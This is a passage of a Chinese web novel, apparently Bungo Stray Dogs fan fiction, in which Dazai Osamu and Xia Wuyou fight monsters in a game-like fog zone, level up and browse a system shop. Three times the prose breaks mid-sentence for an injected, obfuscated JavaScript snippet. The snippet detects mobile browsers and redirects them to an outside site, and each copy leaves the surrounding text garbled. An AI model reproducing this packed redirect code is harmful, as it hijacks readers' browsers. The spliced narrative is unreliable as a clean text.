他的手上还有被焐出的温度,那点温度被雾气掠去,他用指尖描摹过夏无忧的眼眶,想着初次相遇时自己想做的事。 夏无忧睁着眼,仿佛没有察觉到他的恶意。 阴冷的雾将太宰治的笑固定住,他的笑如同被装裱在相框中的画,美丽,但没有半点生气。 “如果这是你所谓的心动。” 他柔和地提议:“那让我将你的眼睛挖掉,你的心跳一定会无比嚣闹。” 夏无忧表现出一点疑惑。 “为什么你都没有过心动,却认为我不是心动?” 太宰治神色不悦,他用了点力气,枪口在夏无忧额头压出红印。 他没有陷入夏无忧的语言陷阱。 “都说人没有惨痛地跌倒过,不会死心,你真以为自己胜券在握吗?你说这里的人死不了,这不是很好吗?” 他的笑容压抑到疯狂,“因为死不了,所以可以反复死亡,比起死,生者的痛苦才没有尽头。” 夏无忧看出了什么,“治是想要我……畏惧你?” 在他做出那样的承诺后。 太宰治将枪口往下,歪头,“你知道人是怎么驯服动物的吗?” 他没想要夏无忧的回答,自顾自说了下去。 “让动物一次次恐惧,反抗不得,再麻木到顺从。后来哪怕它的脖子上没有绳索了,但是它还是认为束缚存在。” 冷硬的触感往下,来到了眼部,夏无忧本能地闭上了只眼,被枪口抵住了眼皮。 一半的视线受阻,他的思绪游离,感兴趣地想:原来这就是太宰治平时看到的世界吗? 太宰治遮住了眼,连带把心灵的伤口包裹住,不让自己被外界窥探、伤害。 黑暗总能给胆小鬼安全感。 太宰治老说他是章鱼,但他觉得太宰治更像章鱼。 一只深海里孤独的章鱼,有个透明的罐子,它把自己的触手盘起来,占据了罐子里的每个角落。 它将自己挤压在密闭的地方,如同把自己拥抱住了。 而为了自己所追逐的,夏无忧从不会退步。 他注视太宰治的目光永远专注而热烈,声音破开了周围的雾气,“这么说,你想要驯服我?” 他放缓了语速,“可你真是这样想的吗?如果你想,又何必说出来?” 猎人不会告诉猎物陷阱在哪。 “说出来又怎样,既知是陷阱,你偏偏要去踩。”太宰治的笑浸没在冰层之下,冰冷而不见光,“你一意孤行,怎么能去怪我?” 夏无忧轻笑,“我怎么会怪你。” 他抬起双手,圈住了太宰治的颈脖,恍如给太宰治套上的绳索,也似一个亲密的拥抱。 “可你明知我不会畏惧,我会踏入陷阱,只因你拿自己做饵。聪明如你,怎会不知道该如何让我顺从。” 夏无忧捂住太宰治的嘴,“反正你不会听,我大可说的再直白些,太宰治,想要驯服我,你得用爱。” 这点夏无忧从没掩饰过。 太宰治是见不到,还是避而不见? 两人之间的氛围变得沉闷,谁也没有移开眼,在夏无忧要说什么时,他听到了道异常的声音,地面微微颤动,有数量众多的东西在接近这里。 太宰治放下枪,后退一步。 他不知自己是该庆幸怪物出来的及时,给了他否定那句话的时间,还是该苦恼,夏无忧比他想的棘手。 他们之间即使有再多要算的账,也得先清理了外界的危险。 太宰治主动朝夏无忧开口:“拿出你武器。” 夏无忧没动。 太宰治立刻想到了什么,脸上勾起的笑更为真切,他悠悠转身,目光梭巡,找到了夏无忧身边的小光点。 他记得,进入雾区后有两道金色流光,融入他身体后,成为了他手上的枪。 到了夏无忧身上,成为了一颗一点点大的光点,或者说是星辰。 太宰治想到在先代首领的卧室,将夏无忧带走的金色星辰。 和那时的星辰比,这颗金色星辰小了太多,发出的光仅照亮了一片雾,还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698121|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒地怪物的轮廓。 夏无忧想避开太宰治的视线,但是他再退,也躲不开接下来的战斗。 要是他内心羞恼的火焰能具现化,绝对能把这片区域都烧成火海。 他盯住自己的武器,摘下漂浮的点大星辰,捏了下,确定是有实体后,朝着太宰治身上砸去。 星辰砸到了太宰治的衣服上,连个响都没有,和果冻一样反弹,啵一下正中夏无忧的手。 夏无忧:…… 他觉得自己遭受了更大的伤害。 太宰治露出幸灾乐祸的笑,“我的脑海刚才出现了一道声音,指导我怎么使用自己的专属武器。” 专属武器会根据人的体质、力量属性、性格与喜好化形。 他上前一步,手指挑起夏无忧的下颚,柔声问:“无忧,这是你的武器吗?” 夏无忧试图深呼吸一口气,但这口气还没提上来,就被他的怒火搅散了,他抓狂地转过身,背对太宰治自闭。 “不,它不是。” 太宰治绕着夏无忧转了圈,伸手在人眼前挥了挥,残酷地揭底,“不,它是。” 他假惺惺地安慰,“没事的,哪怕无忧的能力只·能·照明,我也不介意。”他着重强调了“只能”二字。 但他明显低估了夏无忧的自我调理能力和脸皮厚度。 夏无忧再次喜笑颜开,拉起了太宰治的手。 “真的吗,那战斗就靠治了,我会为你照明的,毕竟我只·能·做到这点啊。”他咬重了同样的二字。 太宰治甩了下手,没甩开。 夏无忧从不为难自己,他死死扒拉住太宰治,手拽着太宰治的外套一角,摆出寸步不离的样子。 他大大方方自己的成果——地上的怪物。 “没有我的照明,你被怪物偷袭了怎么办?虽然你不招呼就开枪,但我是个不记仇的人。” 太宰治面无表情:“我那一枪是打在你脑门上的吗?” ——你脑子坏了? 夏无忧是这里的主导者,他的能力不可能只是照明,更具体的能力还要夏无忧自己摸索。 如果太宰治没猜错,夏无忧的能力是不可替代的。 因为没有形体,所以可以瞬息万变,可以幻化为治疗、辅助、防御、控制、单攻、群攻,凡他所想,皆可成真。 地面震颤,怪物群离他们越来越近了。 夏无忧逗弄着漂浮的星辰,金光映入他的眼眸,他眨着眼,也像是落在人间闪烁的星星。 他虚弱地捂住心口,“或许呢。” 太宰治:“你要依赖你的敌人?” 夏无忧:“当人没有选择的时候,哪还管的了那么多。” 太宰治:“往回走,可以出去哦~” 夏无忧:“你扪心自问,你会护送我吗,我出不去你会回头吗,我出去了你不会死在这?” 太宰治的心情转好:“全都——不会。” 在夏无忧要动手时,他捕捉到了什么声音,操控星辰前去,明亮的光芒之下,大片白点向他们的方向涌来。 那是一堆像素白色石膏像,领头的是颗巨大的棉花糖。 【一波怪物袭来:棉花糖怪(精英1.lvl)、石膏怪(0.lvl)】 【请岛主和岛民做好战斗准备!】 12. 升级 夏无忧嗅了嗅空气,这棉花糖怪太大了,软绵如云朵,空中里都有了股甜丝丝的味道。 洁白的棉花糖怪体型大,弹跳力较强,走路都是一蹦一蹦的,而且不落在脏兮兮的地上,要垫在石膏怪头上。 还是只洁癖棉花糖。 “哇,棉花糖会跑。” 太宰治感慨了句,然后朝着棉花糖怪开出一枪。 棉花糖怪被攻击激怒,它高高跃起,身上抽出银色的棉花丝线,向着夏无忧和太宰治袭去。 太宰治连开几枪。 这把枪没有子弹,没有后坐力,因此他的速度很快,前几发子弹被棉花丝挡住,但角度更刁钻的一颗击中了棉花糖怪。 子弹命中后,棉花糖怪的身体空了一块,像是被什么力量抹消掉。 太宰治看向手中的枪,“原来如此,继承了我异能力的无效特性。” “吱————” 受伤的棉花糖怪发出愤怒的叫声,它的身体变软融化,粘稠的糖浆填补了身体的空洞。 夏无忧惊叹:“天,棉花糖会叫。” 太宰治:“和你的小黄鸭比呢?” 小黄鸭钟摆的确给他留下了深刻的印象。 夏无忧面上谦虚,嘴角却翘起,“还好啦,叫声也就差了一点点。” 太宰治:“没在夸你。” 棉花糖怪再度凝聚后,它向着太宰治同炮弹一样撞击。 趁着太宰治吸走了棉花糖怪的仇恨值,夏无忧朝着石膏怪群冲过去,到达后,他高高扬起斧头,挥砍而下。 石膏怪的头部被劈开,他原地旋身,用腰部力量带动斧头横扫,数道清脆的“咔嚓”声后,一片的石膏怪倒下。 倏然十几道棉花糖怪分裂出的棉花丝垂下,钻进了倒下的石膏怪身体。 石膏怪被操控着站起来,裂开的部分还掉着粉末。 夏无忧走到了四肢扭曲的石膏怪面前,一脚踹倒了怪物。 石膏怪轰然倒下,哪怕头部裂开也没有死亡,还拖着残缺的身体爬动。 夏无忧抬脚,重重踩住石膏怪的手,他兴味地笑着,扬起手,持斧头一下又一下往下砸,哐当声中白色的碎屑迸溅。 直到他敲碎了石膏怪身上的每一块,碎成细小块状的石膏怪终于不动了。 夏无忧心情舒畅,他上手摸了下操控石膏怪的棉花丝,棉花丝质地坚硬,差点将他的皮肤割破。 他及时收回手。 有更多的石膏怪赶来,夏无忧没避,他有意地控制石膏怪的站位,石膏怪越聚越多,将他层层包围住。 在石膏像惨白的手要抓到他前,他轻盈钻出了石膏怪的包围。 一枚能量弹穿过数个石膏,撞到了棉花丝上。 棉花丝消融,夏无忧挥动着斧头,利落地处理了还能动的石膏怪。 每处理完一个怪物,他都能听到系统的播报声。 【您杀死了一只怪物,队伍经验共享,您收获了1点经验值。】 【您获得了1点经验值。】 【……】 夏无忧踹开一个石膏怪,倒下的石膏怪撞倒后方的石膏怪,“嘭”的一声后,地上的灰尘四散。 他奔跑起来,收走几个怪,然后踩在倒地的石膏怪上蹲下蓄力,高高跃起,跳至较高的一只石膏像肩上,以斧作矛,贯穿了石膏像的头颅。 石膏怪抬起手想要扯下夏无忧,夏无忧拔出斧头,看准时机,往前一扑,攀住石膏像的小臂荡起,避开了上方刺来的棉花丝。 他在半空甩出一把石子,石子打在棉花糖怪身上,棉花糖怪转向他,下方的太宰治抓住时机,开枪打穿了棉花糖怪的身体。 而夏无忧仿佛只空中飞旋的鸟,悄无声息地落在太宰治的身边。 起身后他将手放在兜帽里,理了下马尾,晃到了太宰治身后,安心地一躲。 太宰治将夏无忧揪出来,推到身前,夏无忧瞪大眼,努力往人身后钻,嘴上还大声嚷嚷着。 “干什么,我只是个照明的,你不能要求我去战斗!” 太宰治神色天真,手上动作却十分强硬,“队伍人数太少,无忧你可以身兼数职的,来挡伤害吧!” 夏无忧扯着太宰治的手:“这是报复!你难道不想尝试能不能被棉花糖杀死吗!” 太宰治哇了声:“你说出来自己笑没笑,要不你替我尝试下~” 夏无忧的肩膀被太宰治按住,他扭着身体,把太宰治往前面挤,“这么梦幻甜美的死法我就让给你了。” 虽然可能是物理上的甜。 两个像素小人互相推出对方,再被推出来,从高空看,像是互相挤压对方的棉花糖。 真的棉花糖怪在空中转了圈,本要召唤手下,见手下没了,它愤怒到膨胀,越气越鼓,越鼓弹得越高,成了高空的一个小白点。 夏无忧和太宰治看过去,光明正大地交流。 夏无忧:“会炸开吧。” 太宰治:“会炸开吧。” 夏无忧沉思:“你说它炸开后是会掉棉花糖雨,还是掉落地及爆炸的棉花糖?” 太宰治思索:“被炸到的话,会不会很快失去意识,算是无痛死亡吗?” 夏无忧失望:“我还以为它会来个大招。” 太宰治望过去:“比如?” 夏无忧伸出手,五指并拢成拳,“比如眼睛扫出激光,照到我们,将我们同化成石膏像!” 太宰治按住夏无忧的手,让他收回去,“我不要变成石膏。” 夏无忧沉思:“也是,石膏不能吃饭。” 两人旁若无人地聊天,天上的棉花糖怪膨胀成球,到了一定的极限,它砰一声炸开了。 棉花糖怪炸开后天上开始掉落巧克力豆、锡纸糖果、缤纷软糖、棉花糖,每个糖果后都缀着彩虹之光。 精英怪死亡后,阴沉天空的雾气变淡了点。 夏无忧听到叮叮咚咚的恭喜音效。 【您已击杀了精英怪,奖励:初级宝箱x1、棉花糖团(可塑造)x1、糖果机x1、10积分】 【您获得了20点经验值。】 【您已升级!0.lvl——1.lvl】 【恭喜您解锁专属技能树,请点击查看!】 在太宰治的注视中,夏无忧全身爆发出金色的光,漂浮的星辰一同散发出明亮的光芒。 实际上,这是升级特有的特效。 夏无忧打开技能树,页面背景是一片浩瀚的宇宙星海,巨树扎根在废弃的星球上,枝干为灿金色的剔透水晶。 漫天的透明星辰组成树的叶子,如同排排坐在枝头的圆滚滚小鸟。 【技能树】(可点亮数:2) [第一链:杀戮、创生] [杀戮技能组:星瞬(+)、残月(+)、永夜(+)] [创生技能组:星幻(+)、月赎(+)、永梦(+)] 夏无忧点开了技能的介绍,他可以掌控的力量一者主杀,对应了他的杀手身份。 一者主辅,对应了他的岛主身份。 杀戮技能中,星瞬就是瞬移,可以短距离空间传送;残月是主要攻击手段,可以收割生命;永夜为隐身。 创生技能中,星幻是最重要的核心,可以用星光创造实物,比如家具、武器、士兵等。 月赎为群体辅助,能够治疗和强化别人。 永梦为群体控制,能让怪物和人沉睡。 以上是第一链的技能,有的实用强,有的比较平庸。 等到夏无忧等级上来了,他可以强化这些技能,有些技能会迎来脱胎换骨的变化。 比如星瞬,前期只能短距离传送,到了后期,可以在两个地方设置传送点,星辰所指的方向,皆可抵达。 夏无忧读完技能,给自己点了[星幻]和[月赎]。 选好后,他身上的金色光芒消失,手中多出把权杖,顶端镶嵌着剔透的星辰宝石。 太宰治托着下巴问:“这就是你的武器?” 夏无忧两指夹着权杖,往上一抛,权杖旋转成圈,再被他接住,他握住一甩,权杖下方的星光延展,组为把细长的剑。 剑尖点在太宰治的咽喉上。 太宰治将手插在外套兜中,他略微弯腰,下巴点在剑身上,眼尾挑向斜上睨着夏无忧,无声询问着:要刺下去吗? 剑身的金光自下而上打在太宰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698122|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治的颧骨上,让他的面部线条更立体锐利。 夏无忧推动手,细剑刺穿了太宰治的脖子。 太宰治等了会,没感到一点疼痛。 他垂下眼,用手握住剑的刃面,只碰到了虚无缥缈的光。 夏无忧转动手腕,剑尖将一枚掉下来的彩虹棉花糖上挑。 他收回剑,捏住那颗棉花糖,把玩着变回权杖的武器,含笑道:“都说了,我不是个记仇的人。” 太宰治展开手,猫爪软糖掉在他的掌心。 夏无忧已经迫不及待使用自己的新能力了,他想到了一个绝妙的点子,于是拉住了太宰治的手,眼睛发亮。 “治,你一定很期待我的能力吧! ” 太宰治有了不详的预感,他把手上的糖果塞到了夏无忧嘴里,企图堵住接下来的话。 但晚了。 夏无忧一口嚼住软糖,举起权杖,学着巫师那样念出咒语。 “闪耀吧,让这片悲伤与不幸的大地,沐浴在你的净化光芒之下,魔法解放——彩虹小马!” 太宰治:。 他不动声色地离夏无忧远了点。 夏无忧的权杖发出道金色的流光,没入了棉花糖里。 棉花糖一点点变大,幻化为只线条圆胖,背生纯白双翼,云鬓飘柔顺滑的棉花糖彩虹小马。 他跨坐到彩虹小马上,发现了试图逃离的太宰治。 夏无忧憋着坏,挥了下权杖,一颗巨大的棉花糖出现在太宰治脚下,将人弹了起来。 彩虹小马展开羽翼,蹄下生出彩云,它踏云而行,载着夏无忧飞到太宰治下坠的地方。 夏无忧拉住太宰治的后衣领,将人丢到了自己身后。 太宰小人被拽上马背,身体往前倒,脸埋到了夏无忧的兜帽里,他趴在夏无忧的背后,幽幽地问:“你真的不记仇?” 夏无忧明显就是在报复,报复初遇时被他拉住后衣领,还有他进入雾区开的一枪。 飞行中凌冽的风吹来,夏无忧支起个透明的屏障,挡住了寒风,他在高空往下俯视,抱住了彩虹小马温暖舒适的云鬓。 “当然不记仇。”他眼也不眨地肯定。 太宰治对此回以嗤笑。 彩虹小马带着他们在低空跑圈,夏无忧变出云朵网,将天上掉下的棉花糖都接住了。 他听着不断的收获音效,心情好上几个度。 太宰治见不得他这样高兴,用手拧着夏无忧的腰。 夏无忧嘶了声,扭头去看太宰治,发现太宰治极快适应了这些,还丢了羞耻心,琢磨着什么。 “治,你在想什么?” 太宰治往地上扫了眼,“在想这片区域的首领怪?是这样说的吧。” 迷雾区不是连在一起的,每块雾区都有边界。 夏无忧现在的队伍等级低,他进的是最外层的雾区,想要清理区域的雾气,就要消灭每块雾区的首领怪。 居于高处,地面的景色尽收眼底。 雾区遍布贫瘠的土壤,因为没有植被,海风会带起大片的尘土,尘土混入雾气里,雾的颜色是浑浊的灰黄。 夏无忧发现了好几个怪物的聚集地,“难道你找到了首领怪?” “有了点想法。”太宰治勾了下夏无忧的发带,捻住几揪头发,“你想知道?” 夏无忧:“你说。” 太宰治:“但我不想说。” 夏无忧:“你非要这样说话吗?” 太宰治:“生气了?” 夏无忧沉吟片刻,愉悦道:“不,就是想到我看上的一个道具。” 虽然知道不会是什么好东西,但太宰治还是好奇:“是什么?” 夏无忧变出个小星星:“无敌幸运光环!有了这个道具,你被攻击致死、跳河致死、中毒致死的概率都将大大降低。” 太宰治拉下脸,“绝对——不要。” “而且,”他觉得这道具有问题,“如果我真的幸运,应该心想事成地死掉才对。” 夏无忧灿烂一笑,“我可没说光环是给你的,光环给我了,我不希望你受伤,你自然就不会受伤。” 太宰治如同被扼住喉咙,不想说话了。 13. 惊喜 夏无忧哼着不成调的歌,将权杖对向地面某个方向,“正好,我也对首领怪有了点想法。” 太宰治扯了下夏无忧的发尾,“所以你是故意的?” 夏无忧摩挲着权杖,忽然察觉到了什么,背对着太宰治想了会,在太宰治发现前,他悠悠道:“彼此彼此。” 太宰治像是被抽干了精气神,成为一条干瘪瘪的鱼,趴到了夏无忧肩上声音,有气无力。 “你自己去打。” 夏无忧颠了下肩,太宰治也和砧板上的鱼一样,颠了下。 夏无忧移开目光,视线有点飘忽,“如果我能打,我也是挺想的。” 太宰治意识到什么,“你——” 在他开口的下一秒,彩虹小马溃散,两个小人从高空坠下。 下坠中狂风肆虐,夏无忧说话有了叠音效果,他很是沉稳地叙述事实,“关于新的力量,我没掌控好。” 虽然他点亮了[星幻]和[月赎],但是能将这些力量发挥到什么程度,取决于他总体力量和掌握度。 比如同样是[星幻],他可以变出一颗星星非常久,但变出一条彩虹小马,他的力量能维持的时间就较短了。 毕竟他才觉醒能力。 总而言之,夏无忧飞到一半发现自己力量枯竭了。 太宰治冷着张脸:“发现了,怎么不早点降落?” 夏无忧更加心虚,“玩的有点高兴。” 在太宰治极具压迫感的目光中,他妥协般说:“而且要是主动降下来,就不够威风了。” 太宰治被气笑,“这样我就不笑你了吗?” 半空的夏无忧的头发飞扬,衣摆猎猎而舞,无序的风中,他的帽子被风刮掉,他急忙抓住,将帽子收回了自己的背包。 地面离他们越来越近。 夏无忧眼一闭,抓过太宰治的手臂,和八爪鱼一样缠了上去,护住了太宰治的后脑勺。 “大不了我给你垫底,这总行了吧!” 太宰治挣扎起来,“我才不要和章鱼殉情,你等着,我下去就把你烤熟。” 风大,夏无忧半睁开眼,“章鱼小丸子吗,我想吃。” 太宰治冷静下来了,“这也是报复?” 他已经可以看到下方的怪物了,一群被棉花糖怪带领的泡泡鱼。 夏无忧在太宰治耳边打了个响指。 “我更喜欢把它称呼为——惊喜!” 他丢出一个棉花糖,棉花糖变大,在落地前将他们吞下。 棉花糖体内是黑的,太宰治感觉自己滚了几圈,听到了外面的尖叫声,应该是被压倒的倒霉怪物。 棉花糖只出现了短暂的一会,两个像素小人掉在地上,太宰治站起来,看到了脸色苍白的夏无忧。 夏无忧还在笑,似乎比起惊险的死亡,比起危险的怪物,他更喜悦于自己的成功降落。 这比别的什么都重要。 太宰治注视了会,移开眼,对准还存活的棉花糖怪开出一枪。 开出这枪前,他见到一道莹白的光芒,光如清冷皎洁的月,强化了子弹的威力。 只一击,棉花糖怪就炸开了身体。 太宰治放下枪,注视走来的夏无忧。 他应该是再次透支了力量,脸比纸白,额角分泌出冷汗,走路有点摇晃,称得上是凄惨,但硬要倔着口气,摆出幅神气的模样。 太宰治以为夏无忧是想来卖惨,或者要他去扶的。 可是夏无忧停在一步之外,笑容明媚,仿佛这片荒芜的大地开出的夏花。 他说:“治,我是不是很厉害!” 太宰治神色一动,抬起手,夏无忧以为是要击掌,也抬高了手。 而太宰治越过那只手,曲起手指,在夏无忧额头重重弹了下。 夏无忧脸色立变,捂住自己额头,强撑的身体是有极限的,他眼眸中的光都黯淡了几分,但越是这样,他越是表现得若无其事。 太宰治不知道自己是怀着什么样的心情,朝夏无忧伸出了只手。 夏无忧愣了下,这是太宰治第一次从夏无忧脸上看到这样的表情。 心中那点说不清的郁气好似散了。 太宰治噙着笑,奚落道:“怎么,我手上有毒吗?” 夏无忧反应了会,犹疑地抬起手,很轻地将手放上去,只搭上去了一点指尖。 若不是太宰治亲眼看到,他还以为自己掌心上的是朵被吹落的夏花。 太宰治干脆地合起手指,握住了夏无忧的手,将人带着往一个方向走去。 夏无忧在后面问:“要去哪?” 太宰治装作不耐地说:“去打首领怪。” 夏无忧更疑惑了,这会他的思维速度比平时慢,乖乖哦了声后,才意识到不对,“你怎么又想去了?” 刚刚还说不去,不帮忙打怪。 太宰治辨别着方向,路上有流窜的小怪,全被他一枪消灭了。 他漫不经心地回话:“因为谜题拖久了没意思,一想到把你丢在这,你能提前死掉,我就浑身难受。” 夏无忧明白了,“你觉得谜题太简单,不想再浪费时间。” 他有点跟不上太宰治的脚步,失去了帽子,他的头发一根根萎靡地软趴着。 太宰治没否认,专心挖苦起了夏无忧。 “这会怎么不记得你的威风了?难道你真想死在这?” 夏无忧瞪了眼太宰治,“首先在我的岛上是死不了的,这是规矩,也是基石。其次我不会输!” 棉花糖怪死亡的奖励中有积分。 有了积分,夏无忧可以当场召唤一个岛民,还可以到系统买道具,反正他是绝对不会输的。 太宰治准确抓中了夏无忧话中的信息,“基石?” 无数的线索串联起来,他了然道:“这是你的世界,你所期望的世界。” 所以这个岛屿上不会有死亡,不会有离别。 岛上风调雨顺,阳光总是明媚,孤独者可以来到这个岛屿,靠自己的手丰衣足食。 更多的猜想出现,再被一一推敲和否定,太宰治的目光穿过了前方的迷雾,连同看到一点真实的碎片。 夏无忧不知道该说什么。 聪慧者敏锐,敏锐者总能从细小的痕迹中还原出全貌。 他恢复了点力气,没有抽回自己的手,而是左右打量,“治是要带我去打首领怪?” 太宰治称得上是好说话,没再深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698123|173451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究:“你不是有思路了吗?” 他们在天空看全了分布的怪物,这样就可以从怪物的密度,划分出包围圈,越往圈内走,怪物就越密。 而最强的首领怪在圈的中心。 还能从区域的污染程度、怪物强度、雾气浓度辅证推算出来。 夏无忧比划了下,“我的意思是,就现在的我们吗?我要休息很久,你还没升级。” “升级……”太宰治想到了夏无忧的变化,“只要杀死的怪物够多,我也能升级?” 夏无忧点头,他已经看到游荡的小怪了,虽然力量还没恢复好,但他十分跃跃欲试。 “当然,杀死怪物有经验,经验满了可以升级。我们是组队形式,经验共享,我本来没有等级,你是1级,杀死棉花糖后我升到1级,你离升级可能还差几个怪。” 太宰治有了主意。 “你能不能将怪物都吸引过来?” 夏无忧接收到他的意思,“能的,吸引怪物不需要太多的能量,你悠着点打。” 他拿出自己的权杖,只说了一个字。 “引。” 一颗光芒柔和的星辰上升,如雾中的灯盏,见到它的怪物,集体向着灯盏涌来。 太宰治眯起眼,“所以你根本就没必要念很长很幼稚的一大堆咒语,是吧?” 夏无忧双手合十,无比虔诚,“这是仪式。” 远处乌压压的怪物涌来,地面震颤,细小的石子不断抖动。 太宰治讽刺,“没必要的前置。” 他站在原地,抬起手开枪,子弹准确地命中了怪物中的精英怪。 夏无忧刚在给太宰治加了[月赎],在生效期间,它可以强化子弹的范围和威力,减少太宰治使用消耗的能量。 现在[月赎]效果还没有结束,夏无忧没事做了,他从背包里拿出板凳,坐下来旁观。 他拍了拍自己的脸,让自己清醒点,然后拿出水和洗好的苹果,坐着开始啃苹果。 没办法,他还没种上地,食物有限,不挑。 而且他到现在都没种上地,难道太宰治一点错都没有吗?! 夏无忧旁观起太宰治清理怪物。 越深入怪物的包围圈,弥漫的雾气颜色更为浑浊,悬于上空的金色星辰是海面的灯塔,给浪潮般的怪物指明了方向。 太宰治举着枪,目光比午夜还为暗沉与浓稠。 他扣动扳机,手很平稳,臂膀与腰身折出笔直的角,身上唯一在动的,是被风吹起鼓动的外套。 此刻的微光割开明暗两线,他守着不动,恍若带来灾厄和绝望的使者。 唯一与这个画面不匹配的是—— “咔擦咔擦。” 某人的啃苹果声。 太宰治恹恹瞥了眼,似乎在考虑给夏无忧也补上一枪。 夏无忧像是根本没有意识到危险,悠然自得地打开了商城,和系统谈闲。 夏无忧:[刚在的画面截下来了吗?] 系统:【截好了。】 夏无忧和太宰治说他看上了一件好东西,其实不只是[无敌幸运光环],凡是商城有的,夏无忧都比较感兴趣。 尤其是组合促销的两个商品。 14. 推进 【商城】 [物品名称:上吊小人晴天娃娃 介绍:可为您定制心爱的Ta的形象!一款没什么用的挂件,戳它可以与绑定者对话,哪怕远隔千里,也要心心相映! 价格:5 特别备注:与您心爱的Ta牵手互相凝视,我们买一送一!] [物品名称:旅行章鱼小手册 介绍:一本相册,记录您在现实和游戏的精彩时刻,可以将照片转化成不同明信片。旅途更迭,长路折成信纸,不抵爱人回眸一瞥。 价格:2 特别备注:亲吻您心爱的Ta的手背,让其心跳加速,我们买一送一!组合购买,再以0积分送您一份小礼物,亲亲看成吗?] 夏无忧把它们加到购物车,十分心动。 这两个商品在活动促销中,一个5积分,一个2积分,还送个0积分的礼物,价格加起来就是520。 很恋爱的数字,与介绍语更搭配了。 夏无忧:[管家,这些东西居然会出现在你的商城里。] 系统:【……这个是隔壁[恋爱攻略系统]的,那傻子宁愿赔本也要有情人终成眷属。】 原来系统还能生产造物,挂到商城上卖吗? 夏无忧问起制造流程,有哪些出名的系统,系统售卖的分成,这些都被系统一句机密挡回去了。 夏无忧:[其实我觉得这东西赠送条件挺宽松了,拉一下人的手,亲到手背,对方被气到,也算心跳加速吧。] 系统:【是的,但是这个条件是有限制的,要您在现实里做到。】 夏无忧放慢了啃苹果的速度。 算算时间,他见到像素小人形态的太宰治的时间,比见真人的时间多得多了。 像素的世界,弱化了彼此的矛盾,天然隔开了各自立场的纷争。 现实不是夏无忧的地盘,那里的不确定元素太多。 他目前的能力虽然强,但是限制大,还得再强些才能深入□□,或者在太宰治出任务时创造偶遇? 夏无忧把变强提上议程,等他够强了,他直接打穿□□,让系统当代理管理组织,拥护他上位。 到时候太宰治就要喊他首领了! 夏无忧规划好计划,苹果也快啃完了。 他把果核一收,放到背包的垃圾袋里,从凳子上坐起伸了个懒腰,再溜溜达达到太宰治身边,夹着嗓子开口。 “治~” 太宰治皱了下眉,双唇紧闭,心里居然生出种:他又来了的麻木感。 “说。” 他向已经不成势的怪物群开出几枪,没去看夏无忧。 夏无忧趁太宰治处理怪物,上手捞了下太宰治垂在边上的手,提前适应起流程,嘴上说:“没什么。” “?”太宰治停下动作,审视地看向夏无忧,“你有事瞒着我?” 还不是什么好事。 夏无忧用手搓了搓太宰治的手背,把手背搓出点红,承认了,“没错!” 太宰治抬起手,掐住夏无忧的脸颊,“诶?这话说的好让人不安,难道你想让我提心吊胆,惶惶不安,再精神不济被人干掉?” 夏无忧开始拐弯抹角的试探。 “没有,怎么会,治,假如,我是说如果。”他欲盖弥彰道:“如果你走在路上见到我,会不会给我三分钟的叙旧时间?” 太宰治浅笑:“三秒都不给哦~” 夏无忧不死心,“那如果晚上有人碰到你的手,你会被吓到吗?” 太宰治思索,“没遇到过,一般潜伏的杀手都被我处理了,完全——不会吓到我。” 夏无忧被打击到,好几个方案都被堵死,果然还是应该在现实里绑架太宰治吗? 退一步讲,那赠送的520小东西,就那么重要吗? 当然重要! 这可是他错过的系统啊,他要向管家证明,虽然他能当全世界最强最伟大的杀手,但他对爱的虔诚天地可鉴! 而且这可是[恋爱攻略系统]的祝福,它还会送个小礼物。 总之夏无忧要定了。 这边夏无忧的表情如调色盘般变幻,太宰治从中找到了他要的,伸出手,两指圈住夏无忧的手腕,如同在上面套了个锁铐。 他提问的声音平淡,比起在询问,更像是在整理思路。 “你要离开你的小岛,跑到现实见我?”他的目光从夏无忧的脸上掠过,“是你给自己设定的任务,要求是……牵到我的手?” 夏无忧的眼睛飘忽了下,没一会就被他自己拉回来,定定看向太宰治。 “是啊。” 太宰治用拇指压住夏无忧手腕,数着脉搏中传来的心跳,“这次你有什么底气,心想事成吗?” 难道夏无忧真要用[无敌幸运光环]? 虽然名字奇怪,但这的确是个强大的武器,放异能里也是潜力无穷的因果类异能。 还是说夏无忧有别的底牌。 夏无忧笑吟吟的,目光连带染上灼热的阳光。 “我一直能做的,为什么不可以,你可以把心想事成视为命运,也可以把它视为我,因为我并非向神明祈愿,我只向自己许愿。” 太宰治神色阴郁,“这是通知?” “诶呀,你总爱明知故问,说出最不可能的答案。” 夏无忧抬高手,揉了下太宰治的头发,“我以为要拜访前,告知是一种平等的尊重。” 他哼笑了声,“虽然你可能准备了天罗地网来抓我,但这样我也很期待哦。” 